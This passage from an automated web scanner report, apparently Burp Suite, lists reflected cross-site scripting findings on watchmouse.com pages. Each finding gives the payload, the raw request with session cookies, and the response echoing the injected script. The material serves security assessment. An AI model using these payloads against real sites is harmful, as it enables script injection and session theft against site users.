...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature5e5ce"><script>alert(1)</script>c0662cbc4e4/the-watchmouse-api.html" method="post">
...[SNIP]...

1.466. http://www.watchmouse.com/en/feature/the-watchmouse-api.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da742"><script>alert(1)</script>c96b812039a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/the-watchmouse-api.htmlda742"><script>alert(1)</script>c96b812039a HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-90409673a44ca603b7eec973849dfdac"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/the-watchmouse-api.htmlda742"><script>alert(1)</script>c96b812039a" method="post">
...[SNIP]...

1.467. http://www.watchmouse.com/en/feature/the-watchmouse-api.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/the-watchmouse-api.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45397"><script>alert(1)</script>f2e77e28a8c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/the-watchmouse-api.html?45397"><script>alert(1)</script>f2e77e28a8c=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b682dcf1b2a1b4f034e4e93bb4ad80ea"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23428

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/feature/the-watchmouse-api.html?45397"><script>alert(1)</script>f2e77e28a8c=1" method="post">
...[SNIP]...

1.468. http://www.watchmouse.com/en/feature/tos.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/tos.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4912b"><script>alert(1)</script>ed30d7fc365 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en4912b"><script>alert(1)</script>ed30d7fc365/feature/tos.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-5672264136862882048b960f9860f4c1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en4912b"><script>alert(1)</script>ed30d7fc365/feature/tos.php" method="post">
...[SNIP]...

1.469. http://www.watchmouse.com/en/feature/tos.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/tos.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 632e1"><script>alert(1)</script>a85a65403a9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature632e1"><script>alert(1)</script>a85a65403a9/tos.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-765f31dc37df368d4db9a27995d4b6af"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature632e1"><script>alert(1)</script>a85a65403a9/tos.php" method="post">
...[SNIP]...

1.470. http://www.watchmouse.com/en/feature/tos.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/tos.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a912"><script>alert(1)</script>67e6b80b0c6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/tos.php9a912"><script>alert(1)</script>67e6b80b0c6 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-01969147216bc344f84c8cb1d76a0d81"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/tos.php9a912"><script>alert(1)</script>67e6b80b0c6" method="post">
...[SNIP]...

1.471. http://www.watchmouse.com/en/feature/tos.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/tos.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50511"><script>alert(1)</script>92056369859 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/tos.php?50511"><script>alert(1)</script>92056369859=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:01 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-c20868fa7c3ff027b53824f9cbd16cf4"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/tos.php?50511"><script>alert(1)</script>92056369859=1" method="post">
...[SNIP]...

1.472. http://www.watchmouse.com/en/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9980a"><script>alert(1)</script>0af79ea25a4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en9980a"><script>alert(1)</script>0af79ea25a4/feature/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/register.php?vpackid=35
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.9.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:05:23 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-7dbefcaf852441a510cf571441445e18"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en9980a"><script>alert(1)</script>0af79ea25a4/feature/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.473. http://www.watchmouse.com/en/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99131"><script>alert(1)</script>26edbd2bf06 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature99131"><script>alert(1)</script>26edbd2bf06/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/register.php?vpackid=35
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.9.10.1297252772

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:21 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-0953ac9f5837ea38545a94c48b8321c2"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13478

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature99131"><script>alert(1)</script>26edbd2bf06/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.474. http://www.watchmouse.com/en/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26d70"><script>alert(1)</script>8c0caad865a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/transaction-monitoring-web-application-testing.html26d70"><script>alert(1)</script>8c0caad865a HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/register.php?vpackid=35
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.9.10.1297252772

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-f5a6ccccbf816257844868050b9a0d72"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13478

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/transaction-monitoring-web-application-testing.html26d70"><script>alert(1)</script>8c0caad865a" method="post">
...[SNIP]...

1.475. http://www.watchmouse.com/en/feature/transaction-monitoring-web-application-testing.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/transaction-monitoring-web-application-testing.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5586b"><script>alert(1)</script>71fd46db455 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/transaction-monitoring-web-application-testing.html?5586b"><script>alert(1)</script>71fd46db455=1 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/register.php?vpackid=35
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.9.10.1297252772

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:05:03 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-fb1d3d61ca5076032bc2711df8f98740"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 24038

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/feature/transaction-monitoring-web-application-testing.html?5586b"><script>alert(1)</script>71fd46db455=1" method="post">
...[SNIP]...

1.476. http://www.watchmouse.com/en/feed.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feed.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df462"><script>alert(1)</script>7db7836a50e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /endf462"><script>alert(1)</script>7db7836a50e/feed.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2d36c6d3101076669f36db6c9995c73f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/endf462"><script>alert(1)</script>7db7836a50e/feed.php" method="post">
...[SNIP]...

1.477. http://www.watchmouse.com/en/feed.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feed.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff9ba"><script>alert(1)</script>ed691d874bf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feed.phpff9ba"><script>alert(1)</script>ed691d874bf HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:36 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-d4a3b78a867db56c33a3b3cdbed332e6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feed.phpff9ba"><script>alert(1)</script>ed691d874bf" method="post">
...[SNIP]...

1.478. http://www.watchmouse.com/en/feed.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.watchmouse.com
Path:	/en/feed.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 2af06<a>6eaf5898bfc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /en/feed.php/2af06<a>6eaf5898bfc HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:15 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-c4de4464f831115a59c07f88cd87ea01"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 22323

<?xml version="1.0" encoding="utf-8"?>

<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
<title>WatchMouse website moni
...[SNIP]...
<generator>/feed.php/2af06<a>6eaf5898bfc</generator>
...[SNIP]...

1.479. http://www.watchmouse.com/en/free_resources.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/free_resources.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6027a"><script>alert(1)</script>fd2f65145f2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en6027a"><script>alert(1)</script>fd2f65145f2/free_resources.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
